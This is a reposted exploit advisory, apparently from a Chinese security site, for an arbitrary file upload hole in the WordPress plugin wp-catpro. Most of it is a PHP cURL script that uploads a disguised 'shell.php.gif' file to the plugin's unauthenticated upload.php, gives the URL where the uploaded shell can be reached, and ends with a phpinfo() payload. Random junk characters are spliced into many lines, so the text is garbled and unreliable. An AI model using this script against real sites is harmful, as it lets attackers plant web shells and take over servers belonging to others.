WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

: h8 ~1 L& z, Z" H7 M作者  => Zikou-16
+ b* b1 }3 B7 d: I邮箱 => zikou16x@gmail.com
; @8 o$ I( X6 s2 \" X5 b9 G测试系统 : Windows 7 , Backtrack 5r3
6 I# M2 W- Z# B$ a# @下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
: J2 G3 G% ^8 Y' e3 a( Z  I( o7 T/ w
#=> Exploit 信息:
------------------
/ b6 }+ f) ^  q5 p# k) d# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
- v+ {/ j6 q0 `( q' S* @# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
/ }- M' \) t+ X4 Y
#=> Exploit
6 n& \) o# t" X4 R3 ]3 C-----------
<?php
, \2 S0 h* x) R; w. ?
$uploadfile="zik.php.gif";
+ U1 S# S3 x$ R5 M* @. {$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
7 I& x8 ?7 D) \: Pcurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
/ q1 N6 l, ~) ~5 t8 Yarray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
' L; f. v8 {3 o) p. n$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

& j* O2 c2 z* d4 bShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
: p9 x% S- C( a  T. o+ n8 @phpinfo();
?>